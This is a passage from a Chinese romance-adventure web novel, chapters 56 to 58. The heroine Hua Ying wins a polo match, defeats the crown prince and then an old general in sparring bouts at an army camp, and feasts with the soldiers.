博望侯府如今二房袭爵,魏青鹤不尴不尬的占着世子之位,这也罢了,偏他爹先前还娶了续弦,生了子嗣,那继母名正言顺的掌中馈管家,任谁都挑不出错儿来,这便使得魏青鹤在府中的地位愈发窘困。 这般身世非是良配,可是苏扶楹看上的,便是魏青鹤无父无母。 那些人是麻烦些,但无亲情牵绊,便少了棘手,孝道而已,她做三分,便会让世人知晓七分。苏扶楹不求成亲后琴瑟和鸣,可至少,夫君要与她一条心。 何况,博望侯府虽是没落了些,但仍占有一席之地,苏扶楹想着,鸦青的眼睫垂了垂,还有……她在那双笑眼里看见了野心勃勃。 他不甘心,她也是。 掌家之权她要,荣华富贵也要。 贪婪吧,可这就是她苏扶楹,与身边这个至纯至善的姑娘不一样。 临进殿前,华缨甜滋滋的说:“几日后的马球赛,咱们再见啊,打马球耍啦~” 她还能顺便给阿楹带回礼呢。 苏扶楹:“我大抵是不能出门了。” 华缨愣了下,“为何?” “要闭门思过。”苏扶楹莞尔笑着说。 殿中衣香鬓影,昌隆帝与平嘉皇后已经先行离席了。 苏扶楹说完,朝华缨微颔首,便抬步往镇国公府的席案边走。 华缨愣怔的目送那道身影走开,肩侧忽的被轻拍了下。 “还瞧呢?我都要醋了。”姚宝湘勾着她手臂抱着说。 华缨挠挠脑袋,睁着黑白分明的眼睛问:“这也能醋?” 姚宝湘笑:“能啊。” 就很理直气壮。 出宫后,各自上了马车回府。 华缨将袖子里藏着桃儿递给爹爹和祖父,不如方才冰鉴里凉丝丝的了,但也好吃呢! 徐九涣‘呦呵’了声,“行啊,连吃带拿。” 说着,袖子擦擦就咔嚓咬了口,水灵灵的。 徐鉴实接过孙女递来的桃子,默了片刻,道:“泱泱,下回别拿了。” 臊得他老脸都红了。 华缨靠在垫子上,歪着脑袋说:“知道啦。” 左右她还会有呢。 隔日,徐府便收到了两大筐熟得正好的蟠桃。 宋喜惊讶,“当真是镇国公府送来的?” 他们两家不是势同水火嘛,何时变成了可互赠鲜果的关系。 莫不是藏了毒? 宋喜打了个哆嗦, 真吓人! 华缨抓着要吃时,就被宋喜急急忙忙的一巴掌挥掉了。 她目瞪口呆。 小华敏也呆了。 两人眼睁睁的看着那颗水灵灵的桃子滚了滚,滚到了门前。 “……” 宋喜先是松了口气,又紧张兮兮道:“先别吃,等你祖父和二叔回来再说。” 这都是物证! 晚间,徐士钦下值回来,听过妻子的话,面对着那两筐鲜桃,默了半刻,叹声道:“吃吧。” 宋喜:? 徐士钦张了张唇,说:“他们不敢这般明目张胆。” 宋喜信了。 姐妹俩听得云里雾里,徐士钦却是不说了,折身出了堂屋,回院子换衣裳去了。 宋喜在他身后喊:“顺道让华宋过来用晚饭。” 小少年刻苦的很,两个姐姐在玩儿,他在读书,两个姐姐在吃桃,他还在读书。 两筐桃,分了一筐送去了武定伯府。 这样的鲜果,就得趁着水灵的时候吃,徐家人不多,府中的下人也得以尝了个鲜。 马球赛春日时办过多次,只因华缨及笄在即,宋喜也分身乏术,送上门的帖子推了,她们一次都没来玩儿过。 这回也是汴京城中的一位老牌勋贵家办的,是那家的夫人想给儿子相看姑娘,请人牵桥搭线,放了不少帖子,徐家和姚家都在应邀之中。 “相看便相看,何必多此一举呢?”华敏赖在阴凉地儿不愿的动,咕哝一句。 姚宝芳道:“要矜持些啊,省得被瞧上的姑娘害羞,对名声也好。” 这姐妹俩都不会骑马,便坐在高席上吃着滴酥看旁人打马球。 卷帘随风动,四周坐着的多是骄矜贵女或是发髻高绾的夫人。 今日天朗气清,惠风和畅,日头也不比正夏时烤得炙热。 场中忽的传来一声喝彩,众人抬眼瞧去,便见两方人马一穿红,一披蓝,而那红方打头的,是个姑娘。 说来……话也不甚的长。 华缨本是与姚家两个表姐在一处打马球,身后熙熙攘攘,与她们无甚干系啦。 可是! 那马球打到华缨脑袋上! 这事便不简单了!!! 这技术比她爹爹都烂啊! 怎有脸上场的?! 是以,华缨觉得那嚣张跋扈的小爷是故意的! 可那人扬着下巴理直气壮的不承认! 嗯……打一场马球吧! 华缨说。 别当她是忘了,这人就是上元节时拍案而起的小犊子! 可那人目光闪烁着当是不认得她,华缨自也不会给他一个她报仇的名头。 两队人摩拳擦掌。 姚宝湘仰着高傲的下巴,气势汹汹道:“你们挑仨人!” “凭什么?你们也找人啊。”那小公子说。 “我去喊哥哥们!”姚宝璐说着,驾着马就要走。 不知可是想起姚明山那如山似的身影,有人连忙道:“罢了罢了,我们也上场三人就是了。” “怂什么,咱们还打不过几个姑娘?”有人不屑。 不屑归不屑,终究是没敢惊动姚明山他们几兄弟过来。 姚宝璐也见好就收。 毕竟……嗯……今儿借着主家的光,二哥哥也相看姑娘呢。 这是正事,不好打搅。 那厢几个男子,很快推出三人来,其余人驾着马走远看戏。 三对三,对视得气焰熏天。 锣鼓一响,几匹骏马霎时奔腾,直奔那飞球而去! 可…… 哪有马跑得过汗血宝马? 华缨争得先锋,率先得一球,作弊作得光明正大! 被甩开两匹马身的几人傻了眼:? 姚宝湘坐在马背上叉腰大笑:“哈哈哈……” 姚宝璐跟随嘲笑:“哈哈哈……” 世人讲究姑娘家娴静温婉,马球场上是难得可撒欢儿的地儿,不为世俗规矩诟病。 描红画柳的细绢帘后,夫人们也瞧得惊讶,“这马当真好啊。” “那姑娘身姿也利落。” “这飒爽姿态堪比我当年,这是谁家姑娘?” 那扎堆儿的,不知谁失望的叹了声,又有人大喊:“快上!” 被夺了先球,仨人面红耳赤,盯着那辗转似流星的球,眼神不觉带了些锐利之色。 认真喽! 华缨心里欢呼。 绿茵草地上,奔腾的骏马碰撞,发出粗重的嘶鸣声,姚宝湘好努力的忍着,才没在那人第三回 来抢她的球时用球杆儿揍他! 马背上的几人蹭蹭冒火,周围的喝彩声却是愈发热烈。 球惊杖奋合且离,红牛缨绂黄金羁。侧身转臂著马腹,霹雳应手神珠驰。[1] 围观者瞧得委实过瘾。 刚让了场的几人却是捶胸顿足的悔恨,该是他们上场啊,这几个没用的,竟是被仨姑娘得了三筹,他们还是光屁股! 华缨被两人拦截着堵了,眼瞧着球从杆儿下溜走,也不急,一人给他们一杆子,报仇! 赛场上嘛,挨一球杆也寻常啦~ 被两人睁着眼瞪,华缨面色无辜,“咋的?” 她就是故意的,跟他俩扔来的那球一样! 华缨长得很好看,大抵是那英姿勃发的嚣张模样,让人总是忽略她的相貌,只能看见那双眼睛的挑衅。 而此时,美人面色酡红,香汗淋漓,睁着无辜的大眼睛,哪生得起气来。 二人默默红霞飞了满脸,眼神不敢直视。 华缨:? “泱泱!接着!” “来啦!!!”华缨抓着缰绳调转马头,直奔璐表姐传来的球而去! 远处孤零零的郎君一扭头,就见自己队伍的二人如同木桩子似的杵着,顿时气得大喊—— “干啥呢!拦住她啊啊啊啊!!!” “砰!” 球撞进了球门。 “哇!” “又三筹!” “赢啦!” 仨姑娘欢欣鼓舞的欢呼,犹如春日黄鹂。 那仨臊头耷脑的下了场,就挨了同伴们蜂拥而来的揍。 说笑呢? 他们再是文不成武不就,那打马球可没输过谁! 华缨偷偷蹭过来,想补两拳头,忽的那人扭头—— “……” 她扭身,僵硬的迈腿走开。 第56章 赵徵都开始讨好她了!…… 三人回来席位时,掀起竹帘,却是见姚明山大马金刀的坐在里面。 姚宝湘‘欸’了声,脑袋钻出那竹帘便要喊,被姚明山捂着嘴拽了回来,一屁股咚的坐在了团垫上。 他语调威胁道:“敢嚷嚷揍你!” 姚宝湘才不信呢,朝他手背拍了一巴掌,横眉竖目得嫌弃得直抹嘴,“你净手没,脏死了!” “宝芳和阿敏呢?”姚宝璐扫了圈儿问道。 “捉虫子去了,说是烤着吃。”姚明山一腿大喇喇的伸直,一腿曲着,上半身懒洋洋的靠在椅背上,说着,看向了用凉水打湿帕子擦脸的华缨,挑衅说:“收拾那几个东西,还用了两刻钟,不行啊。” 华缨朝他瞥了眼,幽幽道:“三伯母寻你呢吧。” 姚明山:…… “啧,少跟着姚宝湘学,尽干些威胁人的缺德事儿。” “听闻沈家三姑娘生得极好,娴静淑德,二哥可瞧见了?”姚宝璐嬉笑着问。 姚明山今儿过来,便是被姚三夫人抓着来与沈家三姑娘相看的。 姚三夫人膝下一子一女,闺女的亲事定下了,正张罗着出嫁礼,只等过了生辰便送她出阁,儿子的亲事自也不能落下,男子再是晚些,二十岁前总是要娶媳妇儿的。 姚宝湘边用帕子擦嘴巴,边故意笑话人,“怕是人家沈三没瞧上他,自个儿躲这儿黯然神伤呢。” 姚明山闻言轻嗤了声,懒得搭理。 华缨擦过脸,走了过来,挨着姚宝湘坐,双脚叠着搭在木椅扶手上一晃一晃的,大半身子靠在姚宝湘身上,撒娇道:“舒服啊~” “诶呀呀,沉死了。”姚宝湘故意嗔道,粉白的手指抵着她的脑袋轻推了下。 华缨配合着抬头,等得那根手指撤走,啪嗒又枕在了她肩上。 嘿嘿~ 外面又开始了新一轮的马球赛,谁家姑娘裙摆飞旋,英姿勃发,场上喝彩声不断。 华缨自那冰鉴里拿了颗桃子啃,边看外面的热闹。 姚宝璐还没说完呢,小嘴叭叭儿的,一句跟一句。 “二哥,是沈三没看上你不?” “你要不少吃点清减些吧,这样壮实,瞅着挺吓人的,不怪沈三没看上你。” “我们还挺喜欢沈三呢,说话温温柔柔,她若是进了咱们家门,肯定不会欺负我们。” 姚明山耳边不得清净,被她吵得头疼,抬手就给她推着脑袋掀去了一边儿,“哪儿凉快哪儿待着去,要你操心了?” 姚宝湘说风凉话。 “算了,还是别害了沈三。” “大哥也没定亲呢,回家给大伯母说说,让大哥相看。” 姚明山眼皮一跳,颇为无语。 姚宝璐顽强的坐起,接话道:“大哥不行,大哥是给阿敏留着的。” 华缨脑袋嗖的扭了过来:? 姚宝湘见她的反应,顿时拍着腿哈哈哈笑,促狭道:“不知道吧,阿敏也不知道呢,别说漏嘴啊。” 华缨眨了眨眼,有点茫然。 “……这就定啦?” “还没呢,”姚宝璐神秘兮兮的说,“我们偷听到三婶和大伯母说的,说是前几日问过小姑姑的意思,还没得信儿呢,小姑姑定是要与小姑父商量的,何况阿敏今岁也才十二,不急呢,就是苦了大哥还得等哈哈哈哈……” 姚宝湘等她说完,嘱咐道:“都先别跟阿敏说啊,仔细她见着大哥不自在。” 旁边坐着听了一耳朵闲话的姚明山,啧了声,给旁边两个妹妹一人一个脑瓜崩儿,“成日里胡咧咧啥。” 不等两人气恼跳脚,他又道:“今儿傍晚东西二营比试功夫,叫声好哥哥,我带你们去瞧热闹。” “滚!” “不去!” “好哥哥!” 静了一瞬—— 姚宝湘和姚宝璐一同看向华缨,满脸的恨她不争气的神色,叉腰喊:“泱泱!” 华缨双手捂着耳朵,羞涩道:“我想瞧热闹。” 傍晚的军营瞧着与白日里不甚一样,削尖的木桩围成的栅栏,左边天幕低垂,静谧无垠,窸窸窣窣的鸣虫,右边营帐间或相连,灯火明亮。 姚宝山带着几个妹妹,自营门进来,便一路径直往演武场去。 走近了,呼啸的喝彩声惹得人心口一震,声浪一重高过一重。 先前还骂人自滚去的姚宝湘,此时一双眼睛登时透亮,道:“还挺热闹啊。” “没见识。”姚明山随口怼了句,又炫耀道:“这种比试每月都有……” “你们每月都输?”姚宝湘睁着圆溜溜的眼睛顺势一问。 华缨和姚宝璐在旁噗嗤笑出了声。 姚明山顿时憋得险些红了脸。 这就不必说了吧?! “也赢过的!”姚明山咬牙切齿的挽尊一句,不等这完犊子妹妹再开口,双眸一眯,眼神警告。 姚宝湘占了口头便宜,也见好就收,拉着两人小跑着去。 大抵是一桩盛事,灯笼高悬,旁边还起了几堆篝火。 围观者甚众。 姚宝湘熟门熟路的就要一脑袋往里面扎,给走在后面的姚明山拽住了。 都是大姑娘了,一点儿不矜持,横冲直撞的像什么样子,姚明山嫌弃,他抬手轻拍了下前面人的肩,那兵卫扭头看见他,连忙侧身让了让。 姚宝湘刚要呲毛,顿时乖顺了,她和华缨三人走在前面,姚明山断后,一路到了演武台前。 前面站着的几个,俨然是一副蓄势待发的架势,活动着手脚,上身的衣裳脱了,打着赤膊,周遭声音吵得很,是两营谁都不服的挑衅。 唔……大抵是愈挫愈勇叭! 华缨睁着黑白分明的眸子想。 她目光扫过四处,还看见几位脸相熟的将军,也有她鸿门宴请吃酒的,目光对上,华缨朝他们微颔首,后者神色闪过些……嫌弃。 誒? 这就让人不高兴了啊! 华缨鼓着脸,就见那位小诸葛朝她走了过来。 “徐大小姐。” “诸葛先生。” 听她称呼,对方笑了下,过了少顷,方才颔首,“我厚颜受了这声。” 华缨想起什么,问:“镇国公不来吗?” 话出口,却是见身侧的人神色微顿。 “国公爷……有家事处理,今夜便不来观了。”小诸葛说。 “哎呦,说得这么委婉,”有谁不知说了句,“谁知道是不是教女无方,咱们国公爷觉得面上无光,又躲起来了!” 顿时,一阵哄笑。 华缨微怔,忽的想起了先前宫宴散时,苏扶楹说的那句闭门思过。 她正愣神,旁边站着的姚宝湘轻戳了下她手臂,脑袋凑过来,手掌拢在唇边低声道:“坊间都传,苏扶楹看上了博望侯府的世子爷,还让人家来提亲。” 这传言有损姑娘家的清誉,是以,哪怕姚宝湘待苏扶楹不喜,也没将这话说与旁人听。 何况,她还吃了苏扶楹送给泱泱的蟠桃…… 姚宝璐声音清脆的扬声环顾四周的问:“今夜比试,可有彩头?” 姚家父子虽未掌实权,但祖辈都在军中,声望自也有些。 他们虽是不认识姚宝璐,但身后边儿杵着个姚明山,顿也明白几分。 顿时有人高声回—— “有啊,赢得可多吃两只肥羊!” 这一嗓子,又引得众人一阵哄笑。 话头便被扯走,两方人声音粗得很,争论也震耳欲聋。 华缨想起了苏扶楹,也想到了赵徵。 自她回汴京,便没少听闻苏扶楹日后要入东宫的闲话,而赵徵……也是喜欢苏扶楹的吧。 苏扶楹要嫁旁人,可是因为她占着太子妃的位置,而赵徵瞻前顾后,不敢与昌隆帝言明? 正想着,右臂忽的被狂怼,她倏然回神,扭头看向右侧的人。 姚宝湘双目睁圆,看着她另侧的方向,“太子殿下竟也来了!” 华缨心口不知为何猛跳了一下,她神色茫然的顺着姚宝湘的目光瞧去,月色下,那道矜贵身影被身侧武将衬得单薄了些,面上一如寻常的冷淡。 华缨唇微张,不觉手指掐进了掌心,疼意压过了心口的那股子怪异,她深吸口气,又缓缓呼出。 这须臾,赵徵与几位将军已然走到了演武台前,目光落在了她的方向。 华缨这才惊觉,自方才瞥见,赵徵便没挪开视线。 她正要将视线转去旁处,就见赵徵与身旁的将军不知说了什么,继而抬脚朝她走了过来。 华缨忽的有些慌张。 要说什么? 让她自去与祖父说,进宫求昌隆帝退了婚旨? 可她家也没有尚方宝剑啊,昌隆帝若是恼了要如何? 华缨一张芙蓉小脸皱皱巴巴的。 脑子里思绪万千,满是为难。 她看着停在身边一步远的漆黑皂靴,福身:“殿下万福。” 旁边姚宝湘姐妹俩也忙福身,干巴巴的念:“殿下万福。” 继她们之后,身后瞧热闹的将士们齐刷刷的抱拳行礼,声如洪钟:“殿下!” “军中不拘礼节,不必多礼。”赵徵道。 脑袋顶上的目光迟迟没挪,身前的人也没走,华缨忍不住抬手搔搔脸颊,心里似有猴儿抓,腰后被姚宝湘轻怼了下提醒,她咽了咽干涩的喉咙,抬眼,目光毫不意外的与赵徵的视线撞了个正着。 “……殿下可是也要比试?” 华缨憋了憋,满脸真诚的发问。 赵徵似是没想到她会问这么一句,向来波澜不惊的脸上,神色空了一瞬。 华缨:? 赵徵目光落向台前摩拳擦掌的诸位,道:“若他们愿意,也未尝不可。” 华缨一张脸顿时比苦瓜还要苦上三分。 丸辣! 赵徵都开始讨好她了! 等水到渠成,就要求她去提退婚旨意了! 第57章 切磋而已,点到为止。…… 天色暗了下来,演武场上却是喧嚣如雷。 华缨一脸麻木的看着两个打赤膊的汉子一前一后的登上了演武台。 今日较量的是拳脚功夫,二人都赤手空拳,胸膛鼓囊囊,腰腹腱子肉分明,便是手臂之粗,都要赛过华缨那张脸大。 军中没什么花里胡哨的招式,拳拳到肉,出招,格挡,骨肉碰撞的声音足以让台下看客沸腾,喝彩声震得人耳朵疼。 姚宝湘都看热了,恨不得上去比试的是她,摇拳呐喊:“攻他下盘——” 姚明山听见,在身后嗤了声,那二人明显都是下盘稳的,谁都占不上便宜。 他抬手,照着她的脑袋就敲了下,“你安静点,尽瞎指挥。” 姚宝湘咽了咽喉咙,扭头问:“哥哥,你上场不?” “不上。” 姚明山答得干脆。 今日比试的名单,是早便定好的。 只是因着端午宫宴,这场比试才推迟到了今日罢了。 比完就散,免得耽误人吃饭。 姚宝湘点头:“也是,你若是被打成猪头,怎好送我们回城?” 姚明山:…… 他斜去一眼,没好气的凶道:“你能不闭嘴?” 姚宝湘哼了声,不理他了。 她目光再度看向演武台,那二人喘息声重了些,气氛胶着,目光却是凌厉的紧盯着对方,只等一个一击溃败的破绽。 台下呐喊声催促—— “上啊!” 华缨舔了舔嘴唇,悄悄的往赵徵身侧挪了挪脚,在这震耳欲聋的闹声中低声说:“殿下,要不你还是别上台了吧。” 赵徵这样瘦弱,上去都不够人家一拳揍的,若是有个好歹,岂不讹人? 华缨木木的想。 赵徵闻声侧首,对上了她担忧的神色,心口忽的熨烫一片,怪异极了。 他张了张唇,问:“怕我输?” 不。 怕你瘸胳膊断腿儿。 华缨目光真诚,对视几瞬,她梗着脖子点了点头。 “胜败乃兵家常事,我若是输,岂不说明他们操练得好?”赵徵淡淡道。 华缨噎了下,腹诽:还怪想得开呢。 她没再说话,脚步又悄悄的挪回了湘表姐身边。 管他呢,虽是她先问的,可她也劝过他了啊,便是闪失,他也不能以此要挟她! 华缨刚站定,就听姚宝湘打趣的说了句‘别担心,没人真敢打太子殿下的’。 “那我呢?” “啊?”姚宝湘疑惑扭头,就对上了她神色认真的脸。 “我想打擂台。”华缨说。 “……” 华缨这话,不是玩笑。 祖父说,昌隆帝有心想收复失地,华缨想去,想得饭都多吃了一碗。 那日鸿门宴,她说要拿回五州,要孟固安的脑袋,不是夸大其词,是她当真想要。 年幼时,她不知阿娘怎的突然就没了。别人都有阿娘,就她的阿娘变成了木牌牌。 爹爹说,阿娘累了,去天上挂着当星星去了。 华缨说,她也想当星星,就被爹爹捂住了嘴。 后来在岭南,有回爹爹背着她偷偷给阿娘烧纸时,被她逮住了,父女俩抱了两坛子酒,看了一夜的星星,那夜,华缨知道了阿娘故去之缘由。 爹爹说,不愿她被仇恨裹挟,读书也好,习武也罢,都是她自个儿喜欢就行,左右孟固安杀孽重,终会不得好死。 可华缨想,那了结孟固安性命的人为何不能是她? 若不能凭借武力声名鹊起,名声大噪,来日将士出征之时,华缨只能偷摸儿的去。 今夜就很好,东西二营的人都有,还有好些朝堂上的将军,她上回请酒都没请来呢! 华缨毛遂自荐,心满意足的登台。 只是…… “可否开始?”赵徵理了理衣袖,问道。 华缨脸上的嫌弃难掩,就像是方才那些个将士嫌弃她是个姑娘家还敢挑擂台时的神色,她憋了憋,没憋住道:“……我想换个人。” 底下姚明山正要举手,被姚宝湘摁下了,后者满脸兴致勃勃,小声碎碎念:“泱泱小未婚夫妻俩打擂台,你掺和什么嘛,有点眼色……” 姚明山看着她满脸写着的‘快打起来’的看热闹神色,颇觉无语。 跟这有屁的干系! “我不配当你的对手?”赵徵问。 华缨都不想说话,兴致缺缺。 你看看那些稀稀拉拉赶着去吃烤肥羊的将士,有谁是想看的? 她脑袋一瞥,灵光一闪,朝着那屈居镇国公指挥使下的将军,手攥紧拳,气沉丹田的扬声道:“老将军,我若是赢得了殿下,可否请将军赐教?” 周遭本嘈杂的声音顿时静了,便是连那些个赶晚饭的人都被惊得回头。 姚宝湘唇张着,满脸惊诧,“……泱泱是要砸场子?” 姚宝璐:“挨一拳头多疼啊……” 姚明山眼眸微眯,看着架子台上的人,忽的想起了小时候,她也是这般赖着五叔比试。 也有不同,姚明山想,那时的小姑娘是为偷师,这会儿,却是定要赢的。 可是,赢了又如何? 姑娘家哪里有入朝堂的? 就是她武艺再高强,官家也断不会让她来掌军权的。 被华缨喊的那将军年过半百,瞧着比徐鉴实还年长些,两鬓生了华发,但是精神抖擞,身穿常服,也能瞧得出身量结实,非是小儿可挑衅的。 闻言,他哈哈笑,声势如虹道:“你若赢得殿下,老朽便与你较量上一回!” “这是尹老将军吧,”姚宝湘看清人,顿时倒吸口气,“泱泱……” “初生牛犊不怕虎。”姚明山接话道。 姚宝湘:…… 她要说的是这个吗? 旁的武勋世家便也罢了,但尹家,那是从前都敢跟孟家叫板的武将世家。 传言尹家拳法可劈山震虎,不虚言的说,如今的江山,有大半是用尹家儿郎的尸骨筑的。 只是,时至今日,尹家老一辈的,只剩尹老将军了。 姚宝湘紧张的要命,可也不敢在这会儿跟泱泱说。 一鼓作气的道理她还是知道的,若是生了怯意,那是必输无疑的。 华缨不知道这些,但她看见那些赶饭的人回来了。 嗯,很好! “你去挑一件趁手的兵器吧。”赵徵忽的开口道。 “那岂不是我占了殿下便宜?”华缨歪了歪脑袋,满脸认真道。 “男女体力本就悬殊,算不得占便宜。”尹老将军负手而立站在台下道。 华缨却是摇头,黑白分明的眼底倒映着不远处的篝火,“既是比试拳脚功夫,那我便不能坏了规矩。旁人因我是女流之辈低看我,可我不能低看自己。” 这话不重,轻飘飘的,却像是这初夏夜里的一缕风,啪的一巴掌扇在了方才嫌弃她是个姑娘家,不愿比试的几人脸上。 华缨没看台下众人的神色,目光笔直的落在赵徵脸上,“殿下,请赐教。” 说完,她没周旋磨蹭,利落出招。 晌午吃得不多,她都有些饿了。 大抵是伙房的人在烤羊肉了,滋滋冒油,好香! 赵徵在一众粗犷汉子中显得清瘦的身体,此时挡在华缨身前,落下的暗影却是能将她牢牢的挡住。比起那些将士招招拳肉相撞,尽是杀招,他们二人便显得秀气了许多。 赵徵惊诧于她的力气,瞳孔微怔。 华缨却是笑,眉眼弯弯,衣袖招式间带起的风凌厉,赵徵被她震得后退两步又稳住。 “殿下,你左下盘不稳呐。”华缨声音悠哉,抬脚便扫了过去,压根儿不知谦让。 赵徵:…… 赵徵认不出华缨这拳法,尹老将军却是识得的。 一门多少师兄弟,走到如今,只剩他这个老东西了。 难怪方才不愿挑兵器呢,还说得冠冕堂皇,竟是唬人。 “丫头,过分了吧,用这招孔刚拳对付太子殿下?”尹老将军看见那利落招式,深吸口气,压着复杂心绪,适时道。 被念出了招式,华缨脑袋一歪,讪笑道:“我饿了,想速战速决。” 说罢,她如游鱼摆尾似的,手撑着赵徵的肩闪过,将人一脚踹倒在地了。 “殿下,今日我赢你一筹,来日定送你一筹,助你达成所愿。”华缨蹲身来扶他,小小声说。 闻言,赵徵眉尾微抬的看她。 那厢,尹老将军让人取来了自己的佩刀,扔给华缨一把,笑道:“别欺负殿下,来,让我试试你的刀法如何。” 华缨抬手接住,却是愣了下,“将军怎知我会用刀?” 她用刀不多,多是用身上藏着的软剑,或是腰间挂着的索绳,刀……她只想用阿娘的那一把。 话问出口,华缨忽的想起方才他念出的那招式名儿,神色木了。 是友是敌? 不会给她打死叭! 华缨握着大刀,小脸儿紧绷,神色严肃道:“切磋而已,点到为止。” 正下木架台子的赵徵,闻言险些脚底一滑,神色也随之有些难以置信。 方才怎的不说点到为止? 他左腿怕是得青紫了…… “殿下!” 闻津瞧他脚步踉跄了下,赶紧的疾步过来将人搀扶住,可不能摔跟头! 他又心说,这徐大小姐怎的不知怜香惜玉呢,看给他们太子打得,腿都软了,多丢脸啊! 第58章 我尊贵的太子殿下呐。 ‘咣咣’的冷兵器相撞,磨得人耳朵疼。 底下观战的将士唇张着,瞧得目不暇接。 尹老将军用的是自个儿惯手的长刀,华缨手中的则是一柄月亮弯刀,月色下,刀刃锋利,泛着冷硬银光。 二人体型相差很多,尹老将军沉稳,攻势连连,他气力大,一招一式的刀法劈过去时,众人心口都狠狠一震,原以为华缨会躲,却是见手中的弯刀挽了个刀花,流畅得宜的横刀一挡,整个人腰身下压,顺势攻向了尹老将军的底盘。 诶呀。 老将的下盘稳如磐石,与太子殿下可是半分不同呢。 华缨心里颇觉遗憾,顺着力势滑出半尺,手中的刀咚的拄地,她半膝跪着,稳住身形,起身的瞬间,有细小的木屑随之乱飞,是那利刀将脚下的木架台子扎破了。 尹老将军虽是一把子年纪了,此时挥刀跳跃腾挪间,却是依旧如利落的虎豹,那双眉眼紧锁着华缨。说华缨是初生牛犊,学武下山的小娃娃,他便是久经沙场,几战几回的老将,幼时学得的尹家刀法,被经过沙场的浴血洗礼,如今只剩了七分,华缨则是十分。眼前之人是后辈,又何尝不是年轻时的他自己? 招招都好似奔着要她命来的,华缨脸上的神色渐渐收起,唇瓣紧抿,再次挥刀迎上时,不等他出招了,华缨扭转了攻势,周身好似裹了一层如烟如雾的戾气,刀形如风,身影如龙,她率先出招而战! 底下的姚宝湘,心都提到了嗓子眼儿,紧紧攥着姚宝璐的手都在发抖。 尹老将军却是如炬的目光更添亮彩,“游龙刀法这秘招竟是也传授给你了?” 华缨抿唇不语。 若说方才不知敌友,这会儿就很明显了。 眼前之人的招式,虽间或有化形,但是也多是她练过的。 昔日之所学,遇得同门,当是烂熟于心。老将军待她如此,华缨亦如是。 额前的汗滴落,华缨无暇他顾去擦,紧了紧咣当被震得发麻的手,愈发的握紧了手心汗湿的弯刀。 她年纪小,身形更是不及眼前之人魁梧,胜在速度。而尹老将军挨了她几下刀背,身形也只是轻晃了下,与一踹就倒的太子殿下又是不同。 尹老将军哼笑:“急了?” 华缨抿了抿唇,出汗太多,声音都沙哑干涩了些,“将军这样,我很难做啊。” 尹老将军意味不明道:“你对殿下也没留情。” “殿下不会怪罪我的。”华缨说着,身形旋转,躲过他刺过来的长刀。 变故便是在这顷刻间—— 华缨手腕翻转,手中弯刀竟然以难辨的速度朝尹老将军而去! “将军!” 底下顿时一声疾呼! 游龙二式。 尹老将军心说,力道也准头都不错,想来也是那人潜心教授的。 他眼中尽是那刀风,握着手中的长刀稍后一闪,并未多惊。 脚重重踩下,将欲稳住身形,整个人却是斜斜的插了进去…… 嗯……一只脚插进了木架子里去了。 须臾间,刚回神,他脖颈前便架了柄冰凉弯刃。 “好丫头!竟是玩儿兵不厌诈这一招!”尹老将军大笑道。 华缨收了刀,伸手来拽他,将人从那被她劈开的破洞里拉出来,眼中似是滴了汗,一双眸子晶莹剔透,乌黑发亮,她舔了舔干巴的唇,道:“授我刀法的师傅说,这刀法是为拼尽全力活下来,显然,方才是我太想活着了。” 尹老将军攻势凌厉,守势也很紧,但是华缨不是感觉不出来,他身上没有那种渴求,可她有啊! 管他放没放水,反正是她尽力一搏了! “这一招也只能劈一刀,”尹老将军查看那偌大的窟窿,“怎会破这洞?” “哦,方才我攻下盘时,不小心将这处捅了个小洞。”华缨害羞道。 尹老将军:…… “泱泱!泱泱!啊啊啊啊——” 姚宝湘抓着姚宝璐欢呼,声音都劈了,面泛红光,很是与有荣焉啦! 闻津疯狂咽唾沫,心口迅疾如鼓擂,这会儿还难平静呢。 他心想,当真是错怪徐大小姐了,对他们殿下委实留情了许多……许多! 余光察觉到闻津看来的那一眼,赵徵耳根都臊红了,目不斜视的看着木架台上,还在震惊方才那一场比试,半晌,心口缓缓的呼出口气。 他确实不堪为对手。 台上,尹老将军问:“比试胜出者,得一只肥羊,一会儿让人牵给你?” “那我不就是吃军饷了?”华缨说,“牵回家祖父怕是得骂我,还是给诸位用了吧。” 她抿着唇,压下心口那股子急躁。 再等等,今日露了脸已经很好了,不能操之过急。 尹老将军也不客气,“行啊,一会儿让他们都烤了吃。” 华缨擦着手,小声问:“或许,我该称您一声……师叔?” 尹老将军也掏出帕子擦手上的汗,闻言扭头,“我比那老东西瞧着年轻吧。” 华缨:…… 倒也没有。 “不必改口,”尹老将军又道,“那老东西都被逐出师门了,我应你一句师叔,到了地底下怕是得被师傅们揍。” 华缨神色略显吃惊,“……逐出师门啊,难怪我让他送些春笋来汴京,还要挨顿骂。” 尹老将军哈哈笑,抬手拍了下她肩膀,招呼道:“走!吃烤羊去!” 军中的羊是现杀现烤,整只羊架在偌大的篝火上,用匕首割着烤得滋滋冒油的肉吃。 大口吃肉,大口喝酒,再是痛快不过了。 尤其是方才那酣畅淋漓的一场比试,惹得人热血沸腾,这会儿热乎劲儿还没散去,嗓门儿大得震天响,夸赞声更是不绝于耳。 华缨此时却是犹如深藏功与名的世外高人似的,坐在篝火前,一手肉,一手匕首,埋头干饭! “我说怎么不跟我老实打呢,原是将尹家刀法学了去。”姚明山大马金刀的坐着说。 华缨闻言抬眼,满脸真诚,“爹爹说,打架不好。” “尽唬人。”姚明山哼笑道。 “你怎的这么多话,泱泱都饿了,”姚宝湘嫌弃亲哥,余光瞥过旁边那道端坐的身影,使唤他道:“快给殿下也割点肉,多吃点。” 姚明山无语凝噎,但到底是顾忌尊卑,起身将那羊腿割了给赵徵,“殿下请用。” 姚宝璐和华缨几个在旁掩唇偷笑。 难得见这人这般谄媚。 “给我吧。”华缨朝姚明山伸手。 “再给你割一腿就是。”姚明山说。 怎好与殿下争食? 华缨油亮亮的小嘴朝那根羊腿一努,“就要这个。” 赵徵示意姚明山,“给她吧。” 华缨接过那条羊腿,手中匕首唰唰的将上面的肉片成薄片在碗里,手臂伸展,朝赵徵递去,“用膳吧,我尊贵的太子殿下呐。” 这不正经的语调,像是调戏哪家的小媳妇儿。 姚宝湘憋笑都要憋死了。 几双眼睛满是好奇的看热闹,就见赵徵身形微僵,片刻,伸手接过了那只粗瓷碗。 华缨则是抓着那还剩大半的羊腿嗷呜的啃。 好香! 好好吃! 一口肉,一口酒,华缨忽的抬首,羞涩问:“我回家能带一只羊走不?” 瞧瞧,方才话说大了叭! 姚明山哈哈笑。 姚宝湘无语哄道:“……我赶明儿让人买两只给你送去。” 华缨摇头,老实巴交道:“没这儿的羊肥还香。” “……” 酒肉穿肠过,好不痛快! 姚宝湘双手托着脸颊,晃晃晕乎的脑袋,“该睡觉啦。” 